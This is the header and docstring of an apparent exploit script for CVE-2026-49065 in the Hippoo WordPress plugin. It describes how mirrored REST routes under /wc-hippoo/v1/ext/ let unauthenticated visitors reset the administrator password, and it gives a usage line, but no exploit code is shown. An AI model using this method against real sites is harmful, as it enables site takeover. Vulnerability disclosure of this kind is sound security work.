    # Vendor Homepage: https://wordpress.org/plugins/hippoo/
    # Software Link: https://downloads.wordpress.org/plugin/hippoo.1.9.4.zip
    # Version: 1.9.4 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2026-49065
    """
    Hippoo <= 1.9.5 mirrors every WP/WooCommerce core REST route under /wc-hippoo/v1/ext/* and
    attaches a permission callback derived from get_user_permissions(), which returns the SAME `null`
    "full-access" sentinel for both administrators and UNAUTHENTICATED visitors (app/permissions.php).
    The override therefore resolves to __return_true for anyone, so an unauthenticated attacker can call
    the mirrored core users endpoint to reset the administrator's password (or enumerate users) and take
    over the site. Requires WooCommerce active (plugin dependency).
    
    Usage:
      python3 CVE-2026-49065_hippoo.py --target http://localhost:8090 --new-pass 'Pwned!12345'
